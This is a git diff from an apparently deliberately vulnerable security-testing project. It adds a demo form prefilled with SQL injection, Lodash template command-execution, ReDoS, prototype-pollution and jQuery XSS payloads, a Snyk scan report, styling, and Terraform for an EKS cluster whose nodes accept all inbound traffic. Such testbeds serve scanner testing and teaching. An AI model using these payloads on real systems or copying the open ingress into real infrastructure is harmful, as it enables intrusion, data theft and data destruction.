       <html>
+        <head>
+          <link rel="stylesheet" href="/js/styles.css">
+        </head>
         <body>
-          <h2>Lodash Template and Semver Range Vulnerability Demo</h2>
-          <form action="/" method="POST">
+          <h2>Package Vulnerability Demo</h2>
+          <form action="/js" method="POST">
+            <!-- Direct SQL Injection via sqlite -->
             <div>
-              <label for="template">Template:</label><br>
-              <textarea id="template" name="template" rows="4" cols="50">\<% console.log('This will log to the server console'); %>\</textarea><br>
+                <h3>2. Sequelize Injection</h3>
+                <label for="orderNumber">Order Number:</label>
+                <input type="text" id="orderNumber" name="orderNumber" value="1001 UNION SELECT creditCardNumber FROM Orders --">
+                <small>Try payloads:
+                    <ul>
+                        <li><code>1001 UNION SELECT creditCardNumber FROM Orders --</code></li>
+                        <li><code>1001; DROP TABLE Orders; --</code></li>
+                    </ul>
+                </small>
             </div>
+            <!-- Direct SQL Injection via sqlite -->
             <div>
-              <label for="versionRange">Version Range:</label><br>
-              <input type="text" id="versionRange" name="versionRange" placeholder="1.2.3 - 1.2.4 followed by many spaces"><br>
+                <h3>3. MySQL Injection</h3>
+                <label for="orderNumber">Order Number:</label>
+                <input type="text" id="orderNumber2" name="orderNumber2" value="1001 UNION SELECT creditCardNumber FROM Orders --">
+                <small>Try payloads:
+                    <ul>
+                        <li><code>1001 UNION SELECT creditCardNumber FROM Orders --</code></li>
+                        <li><code>1001; DROP TABLE Orders; --</code></li>
+                    </ul>
+                </small>
             </div>
+            <!-- 2. Sequelize SQL Injection -->
             <div>
-              <label for="json5data">JSON5 Data:</label><br>
-              <textarea id="json5data" name="json5data" rows="4" cols="50">
-              {
-                "__proto__": { "polluted": "Prototype pollution successful!" }
-              }
+              <h3>4. Sequelize SQL Injection (CVE-2019-10748)</h3>
+              <label for="username">Username (for Sequelize Injection):</label>
+              <input type="text" id="username" name="username" 
+                     value='nonexistentuser" OR 1=1 --'>
+              <small>Try payloads:
+                <ul>
+                  <li><code>nonexistentuser" OR 1=1 --</code></li>
+                  <li><code>admin"; DROP TABLE Users; --</code></li>
+                </ul>
+              </small>
+            </div>
+
+            <!-- 5. Lodash Template Processing -->
+            <div>
+              <h3>5. Lodash Template Processing (CVE-2021-23337)</h3>
+              <label for="template">Template String:</label>
+              <textarea id="template" name="template" rows="4">
+        <%= global.process.mainModule.require('child_process').execSync('ls -la') %>
               </textarea>
+              <small>Try payload: <code><%= global.process.mainModule.require('child_process').execSync('ls -la') %></code></small>
+            </div>
+
+            <!-- 6. Semver ReDoS Vulnerability -->
+            <div>
+              <h3>6. Semver ReDoS Vulnerability (CVE-2022-25883)</h3>
+              <label for="versionRange">Version Range:</label>
+              <input type="text" id="versionRange" name="versionRange" 
+                     value="^((((((((((((((((((a)?){2}){2}){2}){2}){2}){2}){2}){2}){2}){2}){2}){2}){2}){2}){2})*$">
+              <small>Try payload: <code>^((((((((((((((((((a)?){2}){2}){2}){2}){2}){2}){2}){2}){2}){2}){2}){2}){2}){2}){2})*$</code></small>
+            </div>
+
+            <!-- 7. JSON5 Prototype Pollution -->
+            <div>
+              <h3>7. JSON5 Prototype Pollution (CVE-2022-46175)</h3>
+              <label for="json5data">JSON5 Data:</label>
+              <textarea id="json5data" name="json5data" rows="4">{
+          "__proto__": { "polluted": "Prototype pollution successful!" }
+        }</textarea>
+              <small>Try payload: <code>{ "__proto__": { "polluted": "Prototype pollution successful!" } }</code></small>
+            </div>
+
+            <!-- 8. jQuery XSS Vulnerability -->
+            <div>
+              <h3>8. jQuery XSS Vulnerability (CVE-2015-9251)</h3>
+              <label for="jqueryUrl">jQuery URL:</label>
+              <input type="text" id="jqueryUrl" name="jqueryUrl" 
+                     value="http://sakurity.com/jqueryxss">
+              <small>Try payload: <code>http://sakurity.com/jqueryxss</code></small>
             </div>
             <input type="submit" value="Submit">
           </form>
-          <p>Submit to execute the vulnerable lodash template function or to validate a version range with semver on the server.</p>
+          <p>Submit to test various package vulnerabilities on the server.</p>
         </body>
       </html>
     `);
   }
 });
 
-server.listen(port, hostname, () => {
+server.listen(port, hostname, async () => {
+  await sequelize.sync();
   console.log(`Server running at http://${hostname}:${port}/`);
 });
diff --git a/insecure-js/snyk.sarif b/insecure-js/snyk.sarif
new file mode 100644
index 0000000..96c3c17
--- /dev/null
+++ b/insecure-js/snyk.sarif
@@ -0,0 +1,488 @@
+{
+  "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json",
+  "version": "2.1.0",
+  "runs": [
+    {
+      "tool": {
+        "driver": {
+          "name": "SnykCode",
+          "semanticVersion": "1.0.0",
+          "version": "1.0.0",
+          "rules": [
+            {
+              "id": "javascript/HttpToHttps",
+              "name": "HttpToHttps",
+              "shortDescription": {
+                "text": "Cleartext Transmission of Sensitive Information"
+              },
+              "defaultConfiguration": {
+                "level": "warning"
+              },
+              "help": {
+                "markdown": "\n## Details\nThis weakness occurs when software transmits sensitive information, such as passwords or credit card numbers, in unencrypted form. This information may then be intercepted by threat actors using sniffer tools or interception techniques such as man-in-the-middle (MITM) attacks (often involving social engineering). Attackers can then use information gleaned to perform a variety of actions, depending on the information type. Possible actions include gaining unauthorized access, impersonating a user, moving laterally within the organization's network, or retrieving and potentially modifying files. This weakness is almost completely avoidable through intelligent architecture and design.\n\n## Best practices for prevention\n* Build web applications around a security mindset and the awareness that sniffers may be present at any time.\n* Ensure that all sensitive data transmission uses reliable encryption.\n* Implement security measures so that sensitive results are never returned in plain text.\n* Implement multiple-factor authentication methods to validate remote instances.\n* Use SSL not only at logon but throughout communications.",
+                "text": ""
+              },
+              "properties": {
+                "tags": [
+                  "javascript",
+                  "HttpToHttps",
+                  "Security"
+                ],
+                "categories": [
+                  "Security"
+                ],
+                "exampleCommitFixes": [
+                  {
+                    "commitURL": "https://github.com/eserozvataf/apibone/commit/bbac9343971a20f4fee124b6f0a2f6a80895fb35?diff=split#diff-8b733ca241b0609b1fc0f2e60d14f911b3a82997a939e7eb01fe6c25b759c234L-1",
+                    "lines": [
+                      {
+                        "line": "const http = require('http'),\n",
+                        "lineNumber": 0,
+                        "lineChange": "removed"
+                      },
+                      {
+                        "line": "const https = require('https'),\n",
+                        "lineNumber": 0,
+                        "lineChange": "added"
+                      }
+                    ]
+                  },
+                  {
+                    "commitURL": "https://github.com/RetireJS/retire.js/commit/82d44d60c98acba0e4c3772709e76b989c4274bb?diff=split#diff-89d400752fb89d946a43778e9f0b3dba25968dcdf8604ae08adbb3ecb236338fL-1",
+                    "lines": [
+                      {
+                        "line": "var http = require('http'),\n",
+                        "lineNumber": 1,
+                        "lineChange": "removed"
+                      },
+                      {
+                        "line": "var http = require('https'),\n",
+                        "lineNumber": 1,
+                        "lineChange": "added"
+                      }
+                    ]
+                  },
+                  {
+                    "commitURL": "https://github.com/Rich-Harris/packd/commit/c14d17da80ed075ee007de3121422fb2c5b77e4d?diff=split#diff-1821d11fbffbab2187701c42616688d46bf66d7b2cf6eaf363548dd66caa6ebaL-1",
+                    "lines": [
+                      {
+                        "line": "const http = require( 'http' );\n",
+                        "lineNumber": 0,
+                        "lineChange": "removed"
+                      },
+                      {
+                        "line": "const https = require( 'https' );\n",
+                        "lineNumber": 0,
+                        "lineChange": "added"
+                      },
+                      {
+                        "line": "\n",
+                        "lineNumber": 1,
+                        "lineChange": "none"
+                      },
+                      {
+                        "line": "module.exports = function get ( url ) {\n",
+                        "lineNumber": 2,
+                        "lineChange": "none"
+                      },
+                      {
+                        "line": "\treturn new Promise( ( fulfil, reject ) => {\n",
+                        "lineNumber": 3,
+                        "lineChange": "none"
+                      },
+                      {
+                        "line": "\t\thttp.get( url, response => {\n",
+                        "lineNumber": 4,
+                        "lineChange": "removed"
+                      },
+                      {
+                        "line": "\t\thttps.get( url, response => {\n",
+                        "lineNumber": 4,
+                        "lineChange": "added"
+                      }
+                    ]
+                  }
+                ],
+                "exampleCommitDescriptions": [],
+                "precision": "very-high",
+                "repoDatasetSize": 122,
+                "cwe": [
+                  "CWE-319"
+                ]
+              }
+            },
+            {
+              "id": "javascript/XSS",
+              "name": "XSS",
+              "shortDescription": {
+                "text": "Cross-site Scripting (XSS)"
+              },
+              "defaultConfiguration": {
+                "level": "warning"
+              },
+              "help": {
+                "markdown": "## Details\n\nA cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.\n\nThis is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML)  in order to perform actions that are otherwise typically blocked by the browser's Same Origin Policy.\n\nInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.\n\nEscaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as  `&lt`; and `>` can be coded as `&gt`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they've been correctly escaped in the application code and in this way the attempted attack is diverted.\n\nThe most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.\n\n### Types of attacks\nThere are a few methods by which XSS can be manipulated:\n\n|Type|Origin|Description|\n|--|--|--|\n|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|\n|**Reflected**|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user's browser.|\n|**DOM-based**|Client|The attacker forces the user's browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|\n|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|\n\n### Affected environments\nThe following environments are susceptible to an XSS attack:\n\n* Web servers\n* Application servers\n* Web application environments\n\n## Best practices for prevention\nThis section describes the top best practices designed to specifically protect your code:\n\n* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.\n* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents.\n* Give users the option to disable client-side scripts.\n* Redirect invalid requests.\n* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.\n* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.\n* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.",
+                "text": ""
+              },
+              "properties": {
+                "tags": [
+                  "javascript",
+                  "XSS",
+                  "Security",
+                  "SourceResourceAccess",
+                  "SourceStackTrace",
+                  "Taint"
+                ],
+                "categories": [
+                  "Security"
+                ],
+                "exampleCommitFixes": [
+                  {
+                    "commitURL": "https://github.com/mockyeah/mockyeah/commit/24e0243bfde18396637ba0bfca681c2cf2d2be33?diff=split#diff-8fef0ae737443178f9c7da5682af7782959b12df701f054731a31e4238049341L-1",
+                    "lines": [
+                      {
+                        "line": "mockyeah.post('/', (req, res) => {\n",
+                        "lineNumber": 4,
+                        "lineChange": "removed"
+                      },
+                      {
+                        "line": "  res.send(req.body.hey);\n",
+                        "lineNumber": 5,
+                        "lineChange": "removed"
+                      },
+                      {
+                        "line": "mockyeah.post('/', {\n",
+                        "lineNumber": 4,
+                        "lineChange": "added"
+                      },
+                      {
+                        "line": "  text: req => req.body.hey\n",
+                        "lineNumber": 5,
+                        "lineChange": "added"
+                      }
+                    ]
+                  },
+                  {
+                    "commitURL": "https://github.com/spmjs/spmjs.io/commit/7ef27fc5ab515b9b7b2ed55b5797d87f78c027e4?diff=split#diff-494245839b096ba21695a9461e8c619198001b9ecd9d129c5c9af193ae9d67fbL-1",
+                    "lines": [
+                      {
+                        "line": "res.set('Content-Type', 'application/json');\n",
+                        "lineNumber": 18,
+                        "lineChange": "added"
+                      },
+                      {
+                        "line": "res.send(JSON.stringify(p));\n",
+                        "lineNumber": 19,
+                        "lineChange": "none"
+                      }
+                    ]
+                  },
+                  {
+                    "commitURL": "https://github.com/MROS/infinite-city/commit/e44f362054f1d95d6e266d6448cc333b5564c87d?diff=split#diff-2fe53c2b142a276b20739b3145462cc926666764b0a5b4fcd1605be1d316e4d2L-1",
+                    "lines": [
+                      {
+                        "line": "res.status(400).send(err.message);\n",
+                        "lineNumber": 18,
+                        "lineChange": "removed"
+                      },
+                      {
+                        "line": "res.status(400).send(\"FAIL\");\n",
+                        "lineNumber": 19,
+                        "lineChange": "added"
+                      }
+                    ]
+                  }
+                ],
+                "exampleCommitDescriptions": [],
+                "precision": "very-high",
+                "repoDatasetSize": 141,
+                "cwe": [
+                  "CWE-79"
+                ]
+              }
+            }
+          ]
+        }
+      },
+      "results": [
+        {
+          "ruleId": "javascript/HttpToHttps",
+          "ruleIndex": 0,
+          "level": "warning",
+          "message": {
+            "text": "http.createServer uses HTTP which is an insecure protocol and should not be used in code due to cleartext transmission of information. Data in cleartext in a communication channel can be sniffed by unauthorized actors. Consider using the https module instead.",
+            "markdown": "{0} uses HTTP which is an insecure protocol and should not be used in code due to cleartext transmission of information. Data in cleartext in a communication channel can be sniffed by unauthorized actors. Consider using the https module instead.",
+            "arguments": [
+              "[http.createServer](0)"
+            ]
+          },
+          "locations": [
+            {
+              "physicalLocation": {
+                "artifactLocation": {
+                  "uri": "server.js",
+                  "uriBaseId": "%SRCROOT%"
+                },
+                "region": {
+                  "startLine": 11,
+                  "endLine": 11,
+                  "startColumn": 16,
+                  "endColumn": 33
+                }
+              }
+            }
+          ],
+          "fingerprints": {
+            "0": "ca235390a9d673005bd9fb167280e313610ecef4f098925fc2eef35ba507d4b4",
+            "1": "ae77ea27.883ce888.8b18f948.c559ebce.2fce9a75.5fce695c.cd61fc56.89d75565.7a85a498.4773f344.8b18f948.c559ebce.6432a006.5fce695c.cd61fc56.89d75565"
+          },
+          "codeFlows": [
+            {
+              "threadFlows": [
+                {
+                  "locations": [
+                    {
+                      "location": {
+                        "id": 0,
+                        "physicalLocation": {
+                          "artifactLocation": {
+                            "uri": "server.js",
+                            "uriBaseId": "%SRCROOT%"
+                          },
+                          "region": {
+                            "startLine": 11,
+                            "endLine": 11,
+                            "startColumn": 16,
+                            "endColumn": 33
+                          }
+                        }
+                      }
+                    }
+                  ]
+                }
+              ]
+            }
+          ],
+          "properties": {
+            "priorityScore": 600,
+            "priorityScoreFactors": [
+              {
+                "label": true,
+                "type": "hotFileSource"
+              },
+              {
+                "label": true,
+                "type": "fixExamples"
+              }
+            ],
+            "isAutofixable": false
+          }
+        },
+        {
+          "ruleId": "javascript/XSS",
+          "ruleIndex": 1,
+          "level": "warning",
+          "message": {
+            "text": "Unsanitized input from an exception flows into end, where it is used to render an HTML page returned to the user. This may result in a Cross-Site Scripting attack (XSS).",
+            "markdown": "Unsanitized input from {0} {1} into {2}, where it is used to render an HTML page returned to the user. This may result in a Cross-Site Scripting attack (XSS).",
+            "arguments": [
+              "[an exception](0)",
+              "[flows](1),(2),(3),(4),(5),(6)",
+              "[end](7)"
+            ]
+          },
+          "locations": [
+            {
+              "physicalLocation": {
+                "artifactLocation": {
+                  "uri": "server.js",
+                  "uriBaseId": "%SRCROOT%"
+                },
+                "region": {
+                  "startLine": 162,
+                  "endLine": 162,
+                  "startColumn": 11,
+                  "endColumn": 14
+                }
+              }
+            }
+          ],
+          "fingerprints": {
+            "0": "af6d3175573afd798920894c02ee5ba2d865564426c720aee852a7bc1bd889ed",
+            "1": "bc441d81.4773f344.607187b5.f952b2fa.ef9f7d82.756a1932.cd61fc56.9b5cefb9.51bd987d.70dd3b3b.c9330245.d3185418.5bcab2b0.fa319843.3e0616cf.e6930396"
+          },
+          "codeFlows": [
+            {
+              "threadFlows": [
+                {
+                  "locations": [
+                    {
+                      "location": {
+                        "id": 0,
+                        "physicalLocation": {
+                          "artifactLocation": {
+                            "uri": "server.js",
+                            "uriBaseId": "%SRCROOT%"
+                          },
+                          "region": {
+                            "startLine": 63,
+                            "endLine": 63,
+                            "startColumn": 64,
+                            "endColumn": 71
+                          }
+                        }
+                      }
+                    },
+                    {
+                      "location": {
+                        "id": 1,
+                        "physicalLocation": {
+                          "artifactLocation": {
+                            "uri": "server.js",
+                            "uriBaseId": "%SRCROOT%"
+                          },
+                          "region": {
+                            "startLine": 63,
+                            "endLine": 63,
+                            "startColumn": 64,
+                            "endColumn": 71
+                          }
+                        }
+                      }
+                    },
+                    {
+                      "location": {
+                        "id": 2,
+                        "physicalLocation": {
+                          "artifactLocation": {
+                            "uri": "server.js",
+                            "uriBaseId": "%SRCROOT%"
+                          },
+                          "region": {
+                            "startLine": 63,
+                            "endLine": 63,
+                            "startColumn": 11,
+                            "endColumn": 27
+                          }
+                        }
+                      }
+                    },
+                    {
+                      "location": {
+                        "id": 3,
+                        "physicalLocation": {
+                          "artifactLocation": {
+                            "uri": "server.js",
+                            "uriBaseId": "%SRCROOT%"
+                          },
+                          "region": {
+                            "startLine": 96,
+                            "endLine": 96,
+                            "startColumn": 11,
+                            "endColumn": 27
+                          }
+                        }
+                      }
+                    },
+                    {
+                      "location": {
+                        "id": 4,
+                        "physicalLocation": {
+                          "artifactLocation": {
+                            "uri": "server.js",
+                            "uriBaseId": "%SRCROOT%"
+                          },
+                          "region": {
+                            "startLine": 162,
+                            "endLine": 162,
+                            "startColumn": 15,
+                            "endColumn": 31
+                          }
+                        }
+                      }
+                    },
+                    {
+                      "location": {
+                        "id": 5,
+                        "physicalLocation": {
+                          "artifactLocation": {
+                            "uri": "server.js",
+                            "uriBaseId": "%SRCROOT%"
+                          },
+                          "region": {
+                            "startLine": 162,
+                            "endLine": 162,
+                            "startColumn": 32,
+                            "endColumn": 36
+                          }
+                        }
+                      }
+                    },
+                    {
+                      "location": {
+                        "id": 6,
+                        "physicalLocation": {
+                          "artifactLocation": {
+                            "uri": "server.js",
+                            "uriBaseId": "%SRCROOT%"
+                          },
+                          "region": {
+                            "startLine": 162,
+                            "endLine": 162,
+                            "startColumn": 15,
+                            "endColumn": 75
+                          }
+                        }
+                      }
+                    },
+                    {
+                      "location": {
+                        "id": 7,
+                        "physicalLocation": {
+                          "artifactLocation": {
+                            "uri": "server.js",
+                            "uriBaseId": "%SRCROOT%"
+                          },
+                          "region": {
+                            "startLine": 162,
+                            "endLine": 162,
+                            "startColumn": 11,
+                            "endColumn": 14
+                          }
+                        }
+                      }
+                    }
+                  ]
+                }
+              ]
+            }
+          ],
+          "properties": {
+            "priorityScore": 600,
+            "priorityScoreFactors": [
+              {
+                "label": true,
+                "type": "hotFileSource"
+              },
+              {
+                "label": true,
+                "type": "fixExamples"
+              }
+            ],
+            "isAutofixable": false
+          }
+        }
+      ],
+      "properties": {
+        "coverage": [
+          {
+            "isSupported": true,
+            "lang": "JavaScript",
+            "files": 1,
+            "type": "SUPPORTED"
+          }
+        ]
+      }
+    }
+  ]
+}
diff --git a/insecure-js/styles.css b/insecure-js/styles.css
new file mode 100644
index 0000000..fd2fdac
--- /dev/null
+++ b/insecure-js/styles.css
@@ -0,0 +1,166 @@
+/* Modern Elegant Theme */
+@import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;600&display=swap');
+
+:root {
+    --primary: #6366f1;
+    --secondary: #4f46e5;
+    --accent: #818cf8;
+    --bg: #f8fafc;
+    --text: #1e293b;
+    --border: #e2e8f0;
+    --shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1);
+}
+
+body {
+    background-color: var(--bg);
+    color: var(--text);
+    font-family: 'Inter', sans-serif;
+    line-height: 1.6;
+    margin: 0;
+    padding: 20px;
+}
+
+.container {
+    max-width: 800px;
+    margin: 0 auto;
+    background-color: #ffffff;
+    padding: 2rem;
+    border-radius: 12px;
+    box-shadow: var(--shadow);
+}
+
+h1 {
+    color: var(--primary);
+    text-align: center;
+    font-weight: 600;
+    margin-bottom: 2rem;
+    font-size: 2rem;
+}
+
+.vulnerability-section {
+    background-color: #ffffff;
+    border: 1px solid var(--border);
+    border-radius: 8px;
+    padding: 1.5rem;
+    margin-bottom: 1.5rem;
+    transition: all 0.2s ease;
+}
+
+.vulnerability-section:hover {
+    box-shadow: var(--shadow);
+    transform: translateY(-2px);
+}
+
+h2 {
+    color: var(--secondary);
+    margin-top: 0;
+    font-weight: 600;
+    font-size: 1.5rem;
+    margin-bottom: 1rem;
+}
+
+input[type="text"], 
+input[type="file"], 
+textarea {
+    background-color: #ffffff;
+    border: 1px solid var(--border);
+    color: var(--text);
+    padding: 0.75rem;
+    width: 100%;
+    margin: 0.5rem 0;
+    border-radius: 6px;
+    font-family: 'Inter', sans-serif;
+    font-size: 0.875rem;
+    transition: border-color 0.2s ease;
+}
+
+input[type="text"]:focus,
+input[type="file"]:focus,
+textarea:focus {
+    outline: none;
+    border-color: var(--accent);
+    box-shadow: 0 0 0 3px rgba(99, 102, 241, 0.1);
+}
+
+input[type="submit"] {
+    background-color: var(--primary);
+    color: #ffffff;
+    border: none;
+    padding: 0.75rem 1.5rem;
+    border-radius: 6px;
+    cursor: pointer;
+    transition: all 0.2s ease;
+    font-family: 'Inter', sans-serif;
+    font-weight: 600;
+    font-size: 0.875rem;
+}
+
+input[type="submit"]:hover {
+    background-color: var(--secondary);
+    transform: translateY(-1px);
+}
+
+code {
+    background-color: #f1f5f9;
+    padding: 0.2rem 0.4rem;
+    border-radius: 4px;
+    color: var(--secondary);
+    font-family: ui-monospace, monospace;
+    font-size: 0.875rem;
+}
+
+pre {
+    background-color: #f8fafc;
+    border: 1px solid var(--border);
+    border-radius: 6px;
+    padding: 1rem;
+    overflow-x: auto;
+    margin: 1rem 0;
+    font-family: ui-monospace, monospace;
+    font-size: 0.875rem;
+}
+
+a {
+    color: var(--primary);
+    text-decoration: none;
+    transition: color 0.2s ease;
+    font-weight: 500;
+}
+
+a:hover {
+    color: var(--secondary);
+    text-decoration: underline;
+}
+
+/* Simple loading state */
+.loading {
+    opacity: 0.7;
+    pointer-events: none;
+}
+
+/* Form labels */
+label {
+    display: block;
+    margin-bottom: 0.5rem;
+    font-weight: 500;
+    color: var(--text);
+}
+
+/* Small helper text */
+small {
+    display: block;
+    color: #64748b;
+    margin-top: 0.5rem;
+    font-size: 0.75rem;
+}
+
+/* List styling */
+ul {
+    padding-left: 1.5rem;
+    margin: 0.5rem 0;
+}
+
+li {
+    margin-bottom: 0.25rem;
+}
+  
\ No newline at end of file
diff --git a/java-sec-code b/java-sec-code
deleted file mode 160000
index 457d703..0000000
--- a/java-sec-code
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 457d703e8f89bff657c6c51151ada71ebd09a1c6
diff --git a/terraform/ingress-nginx-values.yaml b/terraform/ingress-nginx-values.yaml
new file mode 100644
index 0000000..6867a7a
--- /dev/null
+++ b/terraform/ingress-nginx-values.yaml
@@ -0,0 +1,19 @@
+controller:
+  ingressClassResource:
+    name: nginx
+    default: true
+    service:
+    annotations:
+      service.beta.kubernetes.io/aws-load-balancer-type: "nlb"
+      service.beta.kubernetes.io/aws-load-balancer-backend-protocol: "http"
+      service.beta.kubernetes.io/aws-load-balancer-scheme: "internet-facing"
+      service.beta.kubernetes.io/aws-load-balancer-nlb-target-type: "ip"
+      service.beta.kubernetes.io/aws-load-balancer-cross-zone-load-balancing-enabled: "true"
+      service.beta.kubernetes.io/aws-load-balancer-healthcheck-path: "/"
+      service.beta.kubernetes.io/aws-load-balancer-healthcheck-port: "80"
+      service.beta.kubernetes.io/aws-load-balancer-security-groups: "${security_group_id}"
+    type: LoadBalancer
+    externalTrafficPolicy: Cluster
+  config:
+    use-forwarded-headers: "true"
+    use-proxy-protocol: "false" 
\ No newline at end of file
diff --git a/terraform/main.tf b/terraform/main.tf
index 5e6b77f..7026a6e 100644
--- a/terraform/main.tf
+++ b/terraform/main.tf
@@ -13,6 +13,13 @@ data "aws_availability_zones" "available" {
 
 locals {
   cluster_name = "securitytesting-${random_string.suffix.result}"
+  
+  # Common tags for all resources
+  common_tags = {
+    Environment = "security-testing"
+    Terraform   = "true"
+    Project     = "insecure-kubernetes-deployments"
+  }
 }
 
 resource "random_string" "suffix" {
@@ -45,6 +52,8 @@ module "vpc" {
     "kubernetes.io/cluster/${local.cluster_name}" = "shared"
     "kubernetes.io/role/internal-elb"             = 1
   }
+
+  tags = local.common_tags
 }
 
 module "eks" {
@@ -52,40 +61,68 @@ module "eks" {
   version = "20.2.1"
 
   cluster_name    = local.cluster_name
-  cluster_version = "1.28"
+  cluster_version = "1.32"
 
   vpc_id                         = module.vpc.vpc_id
   subnet_ids                     = module.vpc.private_subnets
-  cluster_endpoint_public_access = true
+  cluster_endpoint_public_access = true  # Enable public access for Terraform management
+
+  # Add security group configuration for nodes
+  node_security_group_additional_rules = {
+    ingress_self_all = {
+      description = "Node to node all ports/protocols"
+      protocol    = "-1"
+      from_port   = 0
+      to_port     = 0
+      type        = "ingress"
+      self        = true
+    }
+    # Allow inbound traffic from allowed IP for testing
+    ingress_allowed_ip = {
+      description = "Allow inbound traffic from allowed IP for testing"
+      protocol    = "-1"
+      from_port   = 0
+      to_port     = 0
+      type        = "ingress"
+      cidr_blocks = ["0.0.0.0/0"]
+    }
+    egress_all = {
+      description = "Node all egress"
+      protocol    = "-1"
+      from_port   = 0
+      to_port     = 0
+      type        = "egress"
+      cidr_blocks = ["0.0.0.0/0"]
+    }
+  }
 
   eks_managed_node_group_defaults = {
     ami_type = "AL2_x86_64"
-
   }
 
   eks_managed_node_groups = {
-    one = {
-      name = "node-group-1"
-
-      instance_types = ["t3.medium"]
-
+    main = {
+      name = "main-node-group"
+      instance_types = ["t3.xlarge"]
       min_size     = 1
-      max_size     = 3
-      desired_size = 1
-    }
-
-    two = {
-      name = "node-group-2"
-
-      instance_types = ["t3.medium"]
+      max_size     = 6
+      desired_size = 3
 
-      min_size     = 1
-      max_size     = 2
-      desired_size = 1
+      # Add these configurations for faster termination
+      force_update_version = true
+      force_delete = true
+      
+      # Reduce the time pods have to gracefully terminate
+      timeouts = {
+        create = "30m"
+        update = "30m"
+        delete = "15m"
+      }
     }
   }
-}
 
+  tags = local.common_tags
+}
 
 # https://aws.amazon.com/blogs/containers/amazon-ebs-csi-driver-is-now-generally-available-in-amazon-eks-add-ons/ 
 data "aws_iam_policy" "ebs_csi_policy" {
@@ -101,6 +138,8 @@ module "irsa-ebs-csi" {
   provider_url                  = module.eks.oidc_provider
   role_policy_arns              = [data.aws_iam_policy.ebs_csi_policy.arn]
   oidc_fully_qualified_subjects = ["system:serviceaccount:kube-system:ebs-csi-controller-sa"]
+
+  tags = local.common_tags
 }
 
 resource "aws_eks_addon" "ebs-csi" {
@@ -108,8 +147,133 @@ resource "aws_eks_addon" "ebs-csi" {
   addon_name               = "aws-ebs-csi-driver"
   addon_version            = "v1.20.0-eksbuild.1"
   service_account_role_arn = module.irsa-ebs-csi.iam_role_arn
-  tags = {
-    "eks_addon" = "ebs-csi"
-    "terraform" = "true"
+  tags = local.common_tags
+}
+
+# Create IAM role for AWS Load Balancer Controller
+module "lb_role" {
+  source = "terraform-aws-modules/iam/aws//modules/iam-role-for-service-accounts-eks"
+
+  role_name                              = "aws-load-balancer-controller"
+  attach_load_balancer_controller_policy = true
+
+  oidc_providers = {
+    main = {
+      provider_arn               = module.eks.oidc_provider_arn
+      namespace_service_accounts = ["kube-system:aws-load-balancer-controller"]
+    }
+  }
+
+  tags = local.common_tags
+}
+
+# Install AWS Load Balancer Controller
+resource "helm_release" "aws_load_balancer_controller" {
+  name       = "aws-load-balancer-controller"
+  repository = "https://aws.github.io/eks-charts"
+  chart      = "aws-load-balancer-controller"
+  version    = "1.7.1"  # Pin the version
+  namespace  = "kube-system"
+
+  set {
+    name  = "clusterName"
+    value = module.eks.cluster_name
+  }
+
+  set {
+    name  = "serviceAccount.create"
+    value = "true"
+  }
+
+  set {
+    name  = "serviceAccount.annotations.eks\\.amazonaws\\.com/role-arn"
+    value = module.lb_role.iam_role_arn
+  }
+
+  atomic = true
+  cleanup_on_fail = true
+  timeout = 300
+
+  depends_on = [module.eks]
+}
+
+# Add a time_sleep to wait for LB creation
+resource "time_sleep" "wait_for_lb" {
+  create_duration = "30s"
+  triggers = {
+    # This will change whenever the helm release changes
+    helm_id = helm_release.aws_load_balancer_controller.id
+  }
+  depends_on = [
+    helm_release.aws_load_balancer_controller
+  ]
+}
+
+# Create security group for ingress-nginx load balancer
+resource "aws_security_group" "ingress_nginx" {
+  name        = "ingress-nginx-lb"
+  description = "Security group for ingress-nginx load balancer"
+  vpc_id      = module.vpc.vpc_id
+
+  ingress {
+    from_port   = 80
+    to_port     = 80
+    protocol    = "tcp"
+    cidr_blocks = [var.allowed_ip]
+  }
+
+  ingress {
+    from_port   = 443
+    to_port     = 443
+    protocol    = "tcp"
+    cidr_blocks = [var.allowed_ip]
+  }
+
+  # Allow health check traffic from AWS load balancer IPs
+  ingress {
+    from_port   = 10254
+    to_port     = 10254
+    protocol    = "tcp"
+    cidr_blocks = ["0.0.0.0/0"]  # AWS load balancer health checks come from AWS IPs
+  }
+
+  egress {
+    from_port   = 0
+    to_port     = 0
+    protocol    = "-1"
+    cidr_blocks = ["0.0.0.0/0"]
   }
+
+  tags = merge(local.common_tags, {
+    Name = "ingress-nginx-lb"
+  })
+}
+
+# Install ingress-nginx using Helm
+resource "helm_release" "ingress_nginx" {
+  name             = "ingress-nginx"
+  repository       = "https://kubernetes.github.io/ingress-nginx"
+  chart            = "ingress-nginx"
